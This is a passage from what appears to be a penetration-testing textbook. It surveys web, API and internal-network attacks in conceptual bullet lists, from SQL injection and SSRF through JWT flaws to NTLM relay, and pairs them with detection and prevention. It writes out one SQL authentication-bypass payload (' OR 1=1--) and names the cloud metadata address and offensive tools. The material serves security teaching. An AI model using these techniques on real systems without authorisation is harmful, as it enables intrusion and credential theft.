Injection Attacks\n\nInjection attacks insert malicious code into interpreted contexts.\n\n**SQL Injection**\n\nSQL injection manipulates database queries:\n\n- **In-band SQLi** using same channel for attack and results\n- **Union-based** combining queries with UNION\n- **Error-based** extracting data through errors\n- **Blind SQLi** inferring results through behavior\n- **Boolean-based** true/false condition testing\n- **Time-based** using delays for inference\n- **Out-of-band** using separate channels for exfiltration\n\nSQL injection remains prevalent despite awareness.\n\n**SQL Injection Exploitation**\n\nExploitation techniques include:\n\n- **Authentication bypass** with ' OR 1=1--\n- **Data extraction** retrieving database contents\n- **Database enumeration** identifying structure\n- **File system access** reading/writing files\n- **Command execution** on database servers\n- **Privilege escalation** gaining DBA access\n\nImpact ranges from data exposure to full system compromise.\n\n**NoSQL Injection**\n\nNoSQL databases face injection variants:\n\n- **JSON injection** manipulating document queries\n- **Operator injection** using $ operators maliciously\n- **JavaScript injection** in server-side JS\n- **REST API injection** through query parameters\n- **MongoDB-specific** syntax manipulation\n\nNoSQL injection differs from traditional SQL injection.\n\n**Command Injection**\n\nCommand injection executes system commands:\n\n- **Direct injection** in system calls\n- **Blind injection** through command output\n- **Time-based** inferring execution\n- **Out-of-band** using DNS or HTTP exfiltration\n- **Chained commands** with separators (;, &&, ||)\n\nCommand injection typically enables full system compromise.\n\n### 8.4 Insecure Design\n\nInsecure design refers to fundamental architecture flaws rather than implementation errors.\n\n**Design Flaw Types**\n\nInsecure design encompasses various issues:\n\n- **Missing threat modeling** in development\n- **Inadequate security requirements**\n- **Business logic flaws** enabling abuse\n- **Trust boundary violations**\n- **Security control placement** errors\n- **Default configurations** insecure by default\n\nDesign flaws require architectural remediation.\n\n**Business Logic Flaws**\n\nBusiness logic vulnerabilities abuse intended functionality:\n\n- **Workflow bypass** skipping required steps\n- **Quantity manipulation** ordering negative quantities\n- **Price modification** altering transaction values\n- **Race conditions** exploiting timing windows\n- **Excessive functionality** unintended features\n- **State manipulation** abusing application state\n\nLogic flaws exploit application purpose.\n\n**Trust Boundaries**\n\nTrust boundary violations include:\n\n- **Client-side trust** accepting user input as authoritative\n- **Cross-boundary data flow** without validation\n- **Privilege boundary crossing** without verification\n- **Security decision location** in untrusted components\n- **Data validation placement** in wrong layers\n\nProper trust boundaries contain attacks.\n\n**Design Review**\n\nIdentifying design flaws requires:\n\n- **Architecture review** examining system design\n- **Data flow analysis** tracing sensitive information\n- **Threat modeling** identifying attack vectors\n- **Use/misuse case development** testing abuse scenarios\n- **Security requirements validation** against design\n\nDesign flaws found early cost less to remediate.\n\n### 8.5 Security Misconfiguration\n\nSecurity misconfiguration represents the most common vulnerability category.\n\n**Configuration Areas**\n\nMisconfigurations occur across multiple domains:\n\n- **Web server configuration** (Apache, Nginx, IIS)\n- **Application settings** in code or config files\n- **Database configuration** permissions and settings\n- **Cloud services** (S3 bucket permissions)\n- **Framework settings** (debug mode enabled)\n- **Default credentials** unchanged\n- **Directory listing** enabled\n\nEach area requires review.\n\n**Common Misconfigurations**\n\nFrequent issues include:\n\n- **Default accounts** with known passwords\n- **Verbose error messages** revealing system details\n- **Unnecessary services** running exposed\n- **Outdated software** with known vulnerabilities\n- **Weak permissions** on files and directories\n- **Missing security headers** (CSP, HSTS)\n- **Debug interfaces** accessible in production\n\nMisconfigurations often compound other vulnerabilities.\n\n**Discovery Techniques**\n\nFinding misconfigurations requires:\n\n- **Automated scanning** with configuration checkers\n- **Manual review** of configuration files\n- **Header analysis** checking security headers\n- **Directory enumeration** finding exposed paths\n- **Error triggering** observing responses\n- **Version fingerprinting** identifying outdated software\n\nSystematic discovery identifies configuration weaknesses.\n\n**Remediation Approach**\n\nFixing misconfigurations involves:\n\n- **Hardening guides** implementing security baselines\n- **Configuration management** (Ansible, Puppet, Chef)\n- **Infrastructure as code** (Terraform, CloudFormation)\n- **Automated verification** of configurations\n- **Change management** controlling modifications\n- **Regular audits** verifying ongoing compliance\n\nAutomated approaches reduce misconfiguration risk.\n\n### 8.6 Vulnerable Components\n\nUsing components with known vulnerabilities creates significant risk.\n\n**Component Types**\n\nApplications use diverse components:\n\n- **Libraries** and frameworks (React, jQuery, Spring)\n- **Third-party APIs** integrated services\n- **Content management systems** (WordPress, Drupal)\n- **Plugins and extensions** adding functionality\n- **Development tools** included in production\n- **Container images** with base operating systems\n\nEach component may contain vulnerabilities.\n\n**Vulnerability Sources**\n\nComponent vulnerabilities arise from:\n\n- **Known CVEs** in specific versions\n- **Unpatched flaws** discovered after release\n- **Transitive dependencies** vulnerable libraries\n- **End-of-life components** no longer supported\n- **Forked components** with custom modifications\n- **Configuration vulnerabilities** in default setups\n\nTracking all component vulnerabilities proves challenging.\n\n**Discovery Methods**\n\nIdentifying vulnerable components requires:\n\n- **Software Bill of Materials (SBOM)** inventory\n- **Dependency scanning** (OWASP Dependency Check)\n- **Container scanning** (Trivy, Clair)\n- **Version fingerprinting** from responses\n- **Vulnerability databases** (NVD, Vulners)\n- **License compliance** tools with security data\n\nAutomated scanning helps maintain awareness.\n\n**Supply Chain Risk**\n\nComponent vulnerabilities represent supply chain risk:\n\n- **Transitive dependencies** obscure risk sources\n- **Maintainer compromise** leading to malicious updates\n- **Typosquatting** malicious packages with similar names\n- **Dependency confusion** preferring malicious packages\n- **Build pipeline compromise** injecting vulnerabilities\n\nSupply chain attacks increasingly target components.\n\n### 8.7 Identification & Authentication Failures\n\nAuthentication failures enable unauthorized access through credential compromise.\n\n**Weak Authentication Mechanisms**\n\nCommon authentication weaknesses include:\n\n- **Permits brute-force** without rate limiting\n- **Permits credential stuffing** from breaches\n- **Weak password policies** allowing easy passwords\n- **Missing multi-factor authentication**\n- **Credential exposure** in URLs or logs\n- **Session fixation** attacks\n- **Insecure password recovery** processes\n\nEach weakness facilitates credential compromise.\n\n**Credential Attacks**\n\nAuthentication systems face multiple attack types:\n\n- **Brute force** trying many passwords\n- **Credential stuffing** using breached credentials\n- **Password spraying** few passwords many accounts\n- **Dictionary attacks** using wordlists\n- **Rainbow table attacks** on password hashes\n- **Phishing** stealing credentials directly\n\nTesting simulates these attacks.\n\n**Multi-Factor Authentication**\n\nMFA significantly improves security when properly implemented:\n\n- **SMS-based** vulnerable to SIM swapping\n- **TOTP** (Google Authenticator) stronger\n- **Push notifications** susceptible to fatigue\n- **Hardware tokens** (YubiKey) most secure\n- **Biometric** usability versus security\n- **Recovery codes** potential bypass\n\nMFA implementation affects security gain.\n\n**Password Storage**\n\nProper password storage requires:\n\n- **Hashing algorithms** (bcrypt, Argon2, PBKDF2)\n- **Salting** unique per password\n- **Pepper** application-wide secret\n- **Work factors** computationally expensive\n- **Key derivation** functions for strength\n\nImproper storage enables password cracking.\n\n### 8.8 Software & Data Integrity Failures\n\nIntegrity failures allow unauthorized modification of code or data.\n\n**Integrity Concepts**\n\nIntegrity ensures data hasn't been tampered with:\n\n- **Code integrity** preventing malicious modification\n- **Data integrity** maintaining accurate information\n- **Pipeline integrity** securing build processes\n- **Update integrity** ensuring safe updates\n- **Configuration integrity** preventing unauthorized changes\n\nIntegrity failures undermine trust.\n\n**Insecure Deserialization**\n\nDeserialization vulnerabilities enable object injection:\n\n- **Object instantiation** from untrusted data\n- **Data manipulation** through crafted serialized objects\n- **Property injection** modifying object fields\n- **Gadget chains** leveraging library classes\n- **Type confusion** exploiting object types\n\nDeserialization flaws often enable remote code execution.\n\n**Update Mechanisms**\n\nSoftware updates require integrity protection:\n\n- **Code signing** verifying update authenticity\n- **Secure channels** preventing interception\n- **Version validation** preventing rollback\n- **Dependency verification** for libraries\n- **Update server security** preventing compromise\n\nCompromised updates affect all users.\n\n**Pipeline Integrity**\n\nModern development pipelines introduce integrity risks:\n\n- **Source code compromise** through repository attacks\n- **Build environment** injection of malicious code\n- **Dependency confusion** installing wrong packages\n- **Artifact repository** tampering\n- **Deployment process** configuration changes\n\nPipeline attacks have broad impact.\n\n### 8.9 Logging & Monitoring Failures\n\nInadequate logging and monitoring prevent attack detection and incident response.\n\n**Logging Requirements**\n\nEffective logging captures:\n\n- **Authentication events** successes and failures\n- **Access control violations** unauthorized attempts\n- **Input validation failures** injection attempts\n- **Privilege changes** permission modifications\n- **Data access** sensitive information retrieval\n- **System errors** potential attack indicators\n- **Administrative actions** configuration changes\n\nEach event type provides detection opportunities.\n\n**Logging Failures**\n\nCommon logging deficiencies include:\n\n- **Missing logs** for security events\n- **Insufficient detail** for investigation\n- **Log injection** by attackers\n- **Log storage** without integrity protection\n- **Log retention** insufficient for analysis\n- **Log review** procedures nonexistent\n- **Log monitoring** lacking automation\n\nFailures prevent incident detection.\n\n**Monitoring Requirements**\n\nEffective monitoring requires:\n\n- **Centralized log collection** (SIEM)\n- **Alert rules** for suspicious activity\n- **Thresholds** balancing false positives\n- **Correlation** across multiple sources\n- **Anomaly detection** identifying unusual patterns\n- **Response procedures** for alerts\n- **Testing and validation** of monitoring\n\nMonitoring detects attacks in progress.\n\n**Testing Monitoring**\n\nRed team operations test monitoring effectiveness:\n\n- **Technique execution** triggering potential alerts\n- **Dwell time measurement** detecting compromise speed\n- **Alert analysis** reviewing blue team notifications\n- **Coverage mapping** to MITRE ATT&CK\n- **Gap identification** finding undetected techniques\n\nTesting validates detection capabilities.\n\n### 8.10 Server-Side Request Forgery (SSRF)\n\nSSRF vulnerabilities trick servers into making unauthorized requests.\n\n**SSRF Mechanism**\n\nSSRF exploits server-side request functionality:\n\n- **URL parameters** specifying request destinations\n- **File processing** reading remote URLs\n- **Webhook configurations** testing endpoints\n- **API integrations** fetching resources\n- **Import features** loading external content\n- **Image processing** from URLs\n\nVulnerable functions enable SSRF.\n\n**SSRF Impact**\n\nSSRF enables various attacks:\n\n- **Internal network scanning** through server\n- **Access to internal services** (metadata endpoints)\n- **Cloud metadata** retrieval (AWS, Azure)\n- **Port scanning** internal hosts\n- **File reading** through file:// protocol\n- **Cross-protocol attacks** against other services\n- **Denial of service** through resource consumption\n\nImpact depends on server network position.\n\n**SSRF Bypass Techniques**\n\nSSRF protections often require bypass:\n\n- **IP address obfuscation** (decimal, octal)\n- **Domain resolution** to internal IPs\n- **Redirects** bypassing allowlists\n- **DNS rebinding** changing resolved IP\n- **Protocol confusion** (http:// to file://)\n- **Encoding** URL encoding, double encoding\n- **IPv6** addresses when IPv4 blocked\n\nBypasses enable exploitation despite restrictions.\n\n**Cloud SSRF**\n\nCloud environments present SSRF opportunities:\n\n- **AWS metadata** at 169.254.169.254\n- **Azure IMDS** for instance metadata\n- **GCP metadata** similar endpoints\n- **Cloud credentials** exposed through metadata\n- **User data** containing sensitive information\n- **Instance identity** documents for impersonation\n\nCloud SSRF often leads to credential theft.\n\n---\n\n## Chapter 9: Advanced Web Attacks\n\n### 9.1 Deserialization Attacks\n\nDeserialization vulnerabilities enable remote code execution through object injection.\n\n**Serialization Fundamentals**\n\nSerialization converts objects to storable/transmittable formats:\n\n- **Binary serialization** (.NET BinaryFormatter)\n- **JSON serialization** (JSON.parse in JavaScript)\n- **XML serialization** (XMLDecoder in Java)\n- **YAML serialization** (Ruby on Rails)\n- **PHP serialization** (serialize/unserialize)\n- **Python pickling** (pickle module)\n\nEach format has specific vulnerabilities.\n\n**Gadget Chains**\n\nDeserialization often requires gadget chains:\n\n- **Gadgets** existing classes in application or libraries\n- **Chain construction** linking multiple gadgets\n- **POP chains** (Property-Oriented Programming)\n- **Magic methods** automatically invoked during deserialization\n- **Common libraries** (Apache Commons, Spring, Jackson)\n- **Framework-specific** chains for popular frameworks\n\nGadget chains turn deserialization into code execution.\n\n**Java Deserialization**\n\nJava deserialization vulnerabilities:\n\n- **readObject** method custom deserialization\n- **Serializable interface** enabling deserialization\n- **Externalizable** custom serialization\n- **Look-ahead deserialization** prevention\n- **ObjectInputStream** security controls\n- **JEP 290** filtering mechanisms\n\nJava deserialization remains common.\n\n**.NET Deserialization**\n\n.NET deserialization attack surfaces:\n\n- **BinaryFormatter** dangerous by default\n- **SoapFormatter** similar vulnerabilities\n- **NetDataContractSerializer** preserves type information\n- **JavaScriptSerializer** with TypeNameHandling\n- **Json.NET** TypeNameHandling vulnerabilities\n- **ViewState** deserialization in ASP.NET\n\nType handling configuration determines risk.\n\n### 9.2 Prototype Pollution\n\nPrototype pollution affects JavaScript applications by modifying object prototypes.\n\n**JavaScript Prototypes**\n\nJavaScript uses prototypal inheritance:\n\n- **Prototype chain** for property resolution\n- **__proto__** accessing object's prototype\n- **constructor.prototype** alternative access\n- **Object.create** setting prototypes\n- **hasOwnProperty** checking direct properties\n- **Prototype methods** shared across instances\n\nPrototype manipulation affects all objects.\n\n**Pollution Vectors**\n\nPrototype pollution occurs through:\n\n- **Object merging** recursive property assignment\n- **Path assignment** setting nested properties\n- **JSON parsing** with __proto__ keys\n- **URL parameters** populating objects\n- **Form data** processing\n- **API responses** handling\n\nEach vector enables prototype modification.\n\n**Pollution Exploitation**\n\nPrototype pollution enables various attacks:\n\n- **Property injection** adding malicious properties\n- **Denial of service** overriding critical methods\n- **Prototype pollution to XSS** through template engines\n- **RCE** in certain configurations (Node.js)\n- **Bypass security checks** modifying validation\n- **Alter application logic** through property changes\n\nExploitation depends on application behavior.\n\n**Prevention**\n\nPreventing prototype pollution requires:\n\n- **Object.create(null)** for dictionaries\n- **Map objects** instead of plain objects\n- **Schema validation** restricting keys\n- **Freezing prototypes** (Object.freeze)\n- **Input sanitization** removing __proto__\n- **Safe merge functions** avoiding prototype assignment\n\nLibraries like lodash have patched vulnerabilities.\n\n### 9.3 GraphQL Exploitation\n\nGraphQL APIs present unique attack surfaces.\n\n**GraphQL Fundamentals**\n\nGraphQL differs from REST:\n\n- **Single endpoint** typically /graphql\n- **Queries** requesting specific fields\n- **Mutations** modifying data\n- **Subscriptions** real-time updates\n- **Schema** defining available types\n- **Resolvers** implementing functionality\n\nStructure affects testing approaches.\n\n**GraphQL Discovery**\n\nFinding GraphQL endpoints:\n\n- **Common paths** /graphql, /v1/graphql\n- **Automatic discovery** tools like Graphw00f\n- **Introspection queries** revealing full schema\n- **Response analysis** GraphQL-specific errors\n- **Alternative endpoints** developer tools\n- **Versioned endpoints** graphql/v1, graphql/v2\n\nIntrospection often enabled in production.\n\n**GraphQL Attacks**\n\nGraphQL-specific vulnerabilities:\n\n- **Introspection abuse** mapping attack surface\n- **Batching attacks** bypassing rate limits\n- **Deep recursion** causing DoS\n- **Alias-based attacks** field duplication\n- **Over-fetching** excessive data retrieval\n- **Under-fetching** requiring multiple requests\n- **Query whitelisting** bypass via persisted queries\n\nEach requires specific testing techniques.\n\n**Authorization Testing**\n\nGraphQL authorization challenges:\n\n- **Field-level authorization** granular permissions\n- **Type-level restrictions** limiting access\n- **Complex queries** mixing authorized/unauthorized fields\n- **Batched queries** bypassing checks\n- **Alias variations** different authorization paths\n\nTesting verifies consistent authorization.\n\n### 9.4 JWT Attacks\n\nJSON Web Tokens require careful security review.\n\n**JWT Structure**\n\nJWTs contain three components:\n\n- **Header** algorithm and token type\n- **Payload** claims (user, expiration, etc.)\n- **Signature** verifying integrity\n- **Base64Url encoding** URL-safe format\n- **Compact representation** header.payload.signature\n\nEach component can be attacked.\n\n**Algorithm Attacks**\n\nJWT algorithm vulnerabilities:\n\n- **None algorithm** skipping verification\n- **Algorithm confusion** mixing HS256/RS256\n- **Key confusion** using wrong key type\n- **Weak algorithms** (HS256 with guessable keys)\n- **Algorithm downgrade** forcing weaker crypto\n- **Missing verification** accepting unsigned tokens\n\nAttacks often enable token forgery.\n\n**Key Management Issues**\n\nKey handling vulnerabilities:\n\n- **Hardcoded keys** in source code\n- **Weak secrets** easily guessable\n- **Public key exposure** for HMAC confusion\n- **Key rotation failures** accepting old keys\n- **JWK set injection** providing malicious keys\n- **Key disclosure** through side channels\n\nProper key management essential.\n\n**Claims Manipulation**\n\nJWT claims can be manipulated:\n\n- **Expiration bypass** extending validity\n- **Privilege escalation** modifying roles\n- **User impersonation** changing subject\n- **Audience confusion** misusing tokens\n- **Nonce reuse** in certain contexts\n- **Custom claims** application-specific\n\nClaim validation prevents manipulation.\n\n### 9.5 Web Cache Poisoning\n\nCache poisoning tricks caches into serving malicious content.\n\n**Cache Fundamentals**\n\nWeb caches improve performance:\n\n- **Forward caches** (CDN, proxy)\n- **Reverse caches** (Varnish, Nginx)\n- **Browser caches** local storage\n- **Cache keys** determining cached versions\n- **Cache headers** controlling behavior\n- **Cache lifetimes** expiration timing\n\nUnderstanding caching essential for poisoning.\n\n**Poisoning Vectors**\n\nCache poisoning exploits:\n\n- **Unkeyed inputs** affecting responses\n- **Header injection** manipulating cache keys\n- **Fat GET** requests with body\n- **HTTP verb tampering** unexpected methods\n- **Parameter cloaking** hiding inputs\n- **Cache busting** with unique values\n- **Response splitting** injecting headers\n\nEach vector creates poisoning opportunities.\n\n**Poisoning Exploitation**\n\nSuccessful poisoning enables:\n\n- **Stored XSS** through cached pages\n- **Redirect hijacking** to malicious sites\n- **DoS** serving error responses\n- **Information disclosure** sensitive content caching\n- **Session fixation** through cached responses\n- **Defacement** modifying page content\n\nImpact depends on cache position.\n\n**Cache Deception**\n\nCache deception differs from poisoning:\n\n- **Sensitive content** cached unintentionally\n- **URL manipulation** making pages cacheable\n- **File extension** adding .css to dynamic content\n- **Path confusion** accessing cached private data\n- **Authentication bypass** through cached pages\n\nDeception leaks sensitive information.\n\n### 9.6 Business Logic Exploitation\n\nBusiness logic flaws abuse intended application functionality.\n\n**Logic Flaw Types**\n\nCommon business logic vulnerabilities:\n\n- **Workflow bypass** skipping required steps\n- **Race conditions** exploiting timing windows\n- **Quantity manipulation** altering amounts\n- **Price modification** changing values\n- **Excessive functionality** unintended features\n- **State manipulation** abusing application state\n- **Batch operations** improper limits\n\nEach enables financial or operational abuse.\n\n**Race Conditions**\n\nRace conditions occur in concurrent operations:\n\n- **Time-of-check/time-of-use (TOCTOU)**\n- **Limit bypass** checking then using\n- **Parallel requests** exploiting windows\n- **Database isolation** level issues\n- **File system races** in temporary files\n- **State inconsistency** between operations\n\nTesting requires concurrency analysis.\n\n**Financial Logic Flaws**\n\nE-commerce applications face specific risks:\n\n- **Coupon abuse** repeated applications\n- **Negative quantities** credit manipulation\n- **Currency conversion** rounding errors\n- **Shipping cost** manipulation\n- **Payment bypass** skipping transactions\n- **Refund abuse** multiple refunds\n\nFinancial flaws cause direct losses.\n\n**Testing Approach**\n\nTesting business logic requires:\n\n- **Domain understanding** application purpose\n- **Threat modeling** identifying abuse scenarios\n- **Workflow analysis** mapping processes\n- **Boundary testing** extreme values\n- **Concurrent operations** race testing\n- **Sequence manipulation** reordering steps\n\nLogic testing differs from technical testing.\n\n---\n\n## Chapter 10: API Security Testing\n\n### 10.1 REST & SOAP Testing\n\nAPI testing requires understanding architectural styles.\n\n**REST Fundamentals**\n\nREST APIs follow specific principles:\n\n- **Resources** identified by URIs\n- **HTTP methods** (GET, POST, PUT, DELETE)\n- **Statelessness** server doesn't store client state\n- **Representations** JSON, XML, etc.\n- **HATEOAS** hypermedia controls\n- **Content negotiation** Accept headers\n\nPrinciples inform testing approach.\n\n**REST Testing Methodology**\n\nREST API testing includes:\n\n- **Endpoint discovery** finding all URIs\n- **Method testing** verifying allowed methods\n- **Parameter fuzzing** injection testing\n- **Authentication testing** access controls\n- **Authorization testing** privilege verification\n- **Rate limiting** testing thresholds\n- **Version testing** API version behavior\n\nSystematic testing ensures coverage.\n\n**SOAP APIs**\n\nSOAP differs significantly from REST:\n\n- **WSDL** defining service interface\n- **XML messages** structured format\n- **SOAP actions** in HTTP headers\n- **WS-Security** additional security layer\n- **Complex types** in message definitions\n- **Stateful operations** possible\n\nSOAP testing requires XML manipulation.\n\n**WSDL Analysis**\n\nWSDL provides API documentation:\n\n- **Service endpoints** access URLs\n- **Operations** available functions\n- **Message formats** request/response structure\n- **Data types** parameter definitions\n- **Binding information** protocol details\n- **Security policies** authentication requirements\n\nWSDL analysis guides testing.\n\n### 10.2 API Authentication Bypass\n\nAPI authentication often differs from web application authentication.\n\n**API Authentication Methods**\n\nAPIs use various authentication approaches:\n\n- **API keys** simple token authentication\n- **JWT tokens** self-contained claims\n- **OAuth 2.0** delegated authorization\n- **Basic authentication** username/password\n- **Certificate-based** client certificates\n- **Custom schemes** proprietary implementations\n\nEach has specific vulnerabilities.\n\n**API Key Vulnerabilities**\n\nAPI key issues include:\n\n- **Key exposure** in client code\n- **Key leakage** through logs\n- **Predictable keys** easily guessed\n- **Missing rotation** compromised keys valid\n- **Excessive permissions** keys with broad access\n- **Lack of revocation** compromised keys active\n\nKey management affects security.\n\n**OAuth 2.0 Attacks**\n\nOAuth implementations face specific risks:\n\n- **CSRF on authorization endpoint**\n- **Redirect URI validation** issues\n- **Token leakage** through referrers\n- **Code interception** with native apps\n- **State parameter** missing or weak\n- **Scope escalation** requesting additional permissions\n- **Refresh token** theft and reuse\n\nOAuth flaws compromise delegated access.\n\n**JWT Authentication**\n\nJWT authentication issues include:\n\n- **Token expiration** excessively long\n- **Signature verification** missing or weak\n- **Algorithm attacks** none, confusion\n- **Claims manipulation** modifying permissions\n- **Token storage** insecurely on client\n- **Revocation** inability to invalidate\n\nJWT security depends on implementation.\n\n### 10.3 Rate Limiting Attacks\n\nRate limiting prevents automated abuse but often fails.\n\n**Rate Limiting Purpose**\n\nRate limiting addresses multiple threats:\n\n- **Brute force** password guessing\n- **Credential stuffing** breach replay\n- **Denial of service** resource exhaustion\n- **Web scraping** content theft\n- **Inventory hoarding** ticket scalping\n- **API abuse** excessive usage\n\nProper limiting reduces risk.\n\n**Bypass Techniques**\n\nRate limiting can often be bypassed:\n\n- **IP rotation** using proxies/VPNs\n- **Distributed attacks** multiple sources\n- **Slow attacks** below threshold rates\n- **Parameter manipulation** changing identifiers\n- **HTTP header** spoofing (X-Forwarded-For)\n- **Session rotation** new sessions\n- **Timing variation** avoiding patterns\n\nTesting identifies bypass opportunities.\n\n**Implementation Weaknesses**\n\nCommon rate limiting flaws:\n\n- **IP-based only** easily rotated\n- **Per-endpoint** not per-user\n- **Reset vulnerabilities** after time windows\n- **Race conditions** reset during window\n- **Information leakage** revealing limits\n- **Bypass with authentication** authenticated unlimited\n- **Distributed inconsistency** across servers\n\nTesting reveals implementation gaps.\n\n**Testing Methodology**\n\nRate limiting testing requires:\n\n- **Baseline establishment** normal request rates\n- **Threshold identification** finding limits\n- **Bypass attempts** testing evasion\n- **Distributed simulation** multiple sources\n- **Reset testing** after time windows\n- **Authenticated testing** user-based limits\n\nMethodical testing ensures thorough assessment.\n\n### 10.4 Mass Assignment\n\nMass assignment vulnerabilities allow unauthorized field modification.\n\n**Mass Assignment Mechanism**\n\nMass assignment binds request parameters to objects:\n\n- **Auto-binding** frameworks automatically map parameters\n- **Object-relational mapping** (ORM) updating entities\n- **Form backing** objects in MVC\n- **JSON deserialization** to objects\n- **Parameter parsing** to model attributes\n\nConvenience creates vulnerability.\n\n**Vulnerable Parameters**\n\nCommon mass assignment targets:\n\n- **User roles** (isAdmin, role)\n- **Account balances** (credit, balance)\n- **Status flags** (verified, active)\n- **Relationships** (user_id, account_id)\n- **Internal fields** (created_at, updated_at)\n- **Price fields** in e-commerce\n- **Access controls** (permissions)\n\nEach enables privilege escalation.\n\n**Framework Examples**\n\nMass assignment affects multiple frameworks:\n\n- **Ruby on Rails** strong parameters\n- **Laravel** fillable/guarded\n- **Spring MVC** @ModelAttribute\n- **ASP.NET MVC** model binding\n- **Django** ModelForm\n- **Express.js** body-parser\n\nEach framework has protection mechanisms.\n\n**Testing Methodology**\n\nMass assignment testing includes:\n\n- **Parameter enumeration** identifying fields\n- **Role manipulation** attempting privilege changes\n- **Internal field modification** (timestamps, IDs)\n- **Relationship assignment** linking objects\n- **Nested attributes** testing\n- **JSON injection** for APIs\n\nTesting discovers unprotected fields.\n\n### 10.5 API Fuzzing\n\nFuzzing discovers unexpected behavior through malformed inputs.\n\n**Fuzzing Fundamentals**\n\nFuzzing involves:\n\n- **Input generation** creating test cases\n- **Target interaction** sending inputs\n- **Monitoring** observing responses\n- **Crash detection** identifying failures\n- **Vulnerability identification** analyzing results\n- **Coverage measurement** ensuring thoroughness\n\nAutomated fuzzing scales testing.\n\n**API Fuzzing Approaches**\n\nAPI fuzzing methods include:\n\n- **Mutation-based** modifying valid requests\n- **Generation-based** creating from specifications\n- **Grammar-based** following API structure\n- **Protocol-aware** understanding HTTP\n- **Stateful fuzzing** tracking session state\n- **Smart fuzzing** using intelligence\n\nApproach depends on API documentation.\n\n**Fuzzing Targets**\n\nAPI fuzzing focuses on:\n\n- **Parameters** all input fields\n- **Headers** HTTP header values\n- **HTTP methods** unexpected methods\n- **Content types** varying Content-Type\n- **Authentication tokens** malformed credentials\n- **Endpoint paths** path traversal\n- **Query strings** parameter combinations\n\nComprehensive fuzzing covers all inputs.\n\n**Fuzzing Tools**\n\nSpecialized tools support API fuzzing:\n\n- **Burp Suite Intruder** configurable fuzzing\n- **ffuf** fast web fuzzer\n- **wfuzz** web application fuzzer\n- **RESTler** stateful REST API fuzzing\n- **Arjun** parameter discovery\n- **Custom scripts** tailored to APIs\n\nTool selection affects efficiency.\n\n---\n\n# PART IV \u2013 NETWORK PENETRATION TESTING\n\n## Chapter 11: Internal Network Attacks\n\n### 11.1 ARP Spoofing\n\nARP spoofing enables man-in-the-middle attacks on local networks.\n\n**ARP Protocol**\n\nAddress Resolution Protocol maps IP to MAC addresses:\n\n- **ARP requests** broadcast \"who has IP?\"\n- **ARP replies** unicast \"IP is at MAC\"\n- **ARP cache** stores resolved mappings\n- **Gratuitous ARP** announcements without request\n- **Proxy ARP** responding for other hosts\n\nProtocol lacks authentication.\n\n**Spoofing Mechanism**\n\nARP spoofing exploits trust:\n\n- **Poison target cache** send false mapping\n- **Poison gateway cache** intercept return traffic\n- **Bidirectional poisoning** full interception\n- **Continuous spoofing** maintain poisoning\n- **Traffic forwarding** after interception\n\nTools like arpspoof, BetterCap automate attacks.\n\n**Attack Capabilities**\n\nSuccessful ARP spoofing enables:\n\n- **Traffic interception** viewing all communications\n- **Session hijacking** stealing cookies/tokens\n- **Credential harvesting** from plaintext protocols\n- **Traffic modification** altering data in transit\n- **Protocol downgrade** forcing cleartext\n- **Denial of service** dropping packets\n\nPosition enables multiple attacks.\n\n**Detection and Prevention**\n\nARP spoofing countermeasures:\n\n- **Static ARP entries** manually configured\n- **ARP spoofing detection** tools (arpwatch)\n- **Dynamic ARP Inspection** on switches\n- **DAI** in Cisco environments\n- **Port security** MAC address limits\n- **Network segmentation** reducing broadcast domains\n\nDetection enables response.\n\n### 11.2 LLMNR/NBT-NS Poisoning\n\nLink-Local Multicast Name Resolution and NetBIOS Name Service poisoning enable credential capture.\n\n**Name Resolution Protocols**\n\nWindows environments use multiple resolution methods:\n\n- **DNS** primary resolution\n- **LLMNR** multicast for link-local names\n- **NBT-NS** NetBIOS name service\n- **mDNS** multicast DNS (Bonjour)\n- **WPAD** Web Proxy Auto-Discovery\n\nFallback protocols enable poisoning.\n\n**Poisoning Mechanism**\n\nName resolution poisoning works when:\n\n- **Name lookup fails** DNS doesn't respond\n- **Multicast query** broadcast to network\n- **Poisoner responds** claiming to be target\n- **Legitimate response** may arrive late\n- **Attacker wins** if first to respond\n\nResponder tool automates poisoning.\n\n**Credential Capture**\n\nSuccessful poisoning enables:\n\n- **NTLMv2 hash capture** when connecting to fake shares\n- **NetNTLM challenge/response** authentication material\n- **Password cracking** offline hash cracking\n- **Relay attacks** forward captured authentication\n- **Session establishment** with target\n\nCaptured hashes enable further attacks.\n\n**Modern Defenses**\n\nRecent Windows versions include protections:\n\n- **LLMNR disabled** in secure configurations\n- **Network access controls** limiting broadcast domains\n- **SMB signing** preventing relay\n- **Extended Protection for Authentication** channel binding\n- **Group Policy** disabling protocols\n- **Network segmentation** reducing poisoning scope\n\nTesting identifies residual exposure.\n\n### 11.3 SMB Attacks\n\nServer Message Block protocol presents multiple attack vectors.\n\n**SMB Protocol**\n\nSMB provides file and printer sharing:\n\n- **SMB versions** 1-3 with varying security\n- **Named pipes** for interprocess communication\n- **IPC$ shares** remote procedure calls\n- **ADMIN$** remote administration\n- **C$** administrative shares\n- **SMB signing** integrity protection\n\nEach feature enables attacks.\n\n**SMB Enumeration**\n\nSMB reveals valuable information:\n\n- **Share listing** available resources\n- **User enumeration** through sessions\n- **OS information** via negotiation\n- **Domain membership** from configuration\n- **Password policies** from response\n- **Null sessions** anonymous access\n\nEnumeration tools like smbclient, enum4linux.\n\n**SMB Exploitation**\n\nSMB vulnerabilities enable compromise:\n\n- **EternalBlue** (MS17-010) RCE\n- **SMBGhost** (CVE-2020-0796) compression\n- **SMB signing disabled** relay attacks\n- **Pass-the-hash** using password hashes\n- **SMB exec** remote command execution\n- **PsExec** like tools\n\nExploits often lead to system compromise.\n\n**SMB Relay**\n\nSMB relay forwards authentication:\n\n- **Capture NTLM authentication** from poisoning\n- **Relay to target** authenticate to other systems\n- **Command execution** using relayed credentials\n- **SMB signing** prevents relay\n- **Mutual authentication** stopping relay\n\nSMB signing critical protection.\n\n### 11.4 Relay Attacks\n\nRelay attacks forward captured authentication to other systems.\n\n**NTLM Relay**\n\nNTLM authentication can be relayed:\n\n- **Challenge/response** captured from client\n- **Relay to server** authenticate as client\n- **Server interaction** perform actions\n- **Cross-protocol relay** SMB to LDAP\n- **Cross-machine relay** different targets\n\nRelay bypasses password requirements.\n\n**LDAP Relay**\n\nRelaying to LDAP enables:\n\n- **Domain controller** authentication\n- **LDAP operations** modify directory\n- **Account creation** add users\n- **Group membership** add to privileged groups\n- **ACL modifications** change permissions\n- **Computer accounts** add to domain\n\nLDAP relay high impact.\n\n**SMB to LDAP Relay**\n\nCross-protocol relay particularly dangerous:\n\n- **SMB capture** from file share access\n- **LDAP relay** to domain controller\n- **Authentication as client** to directory\n- **Privilege 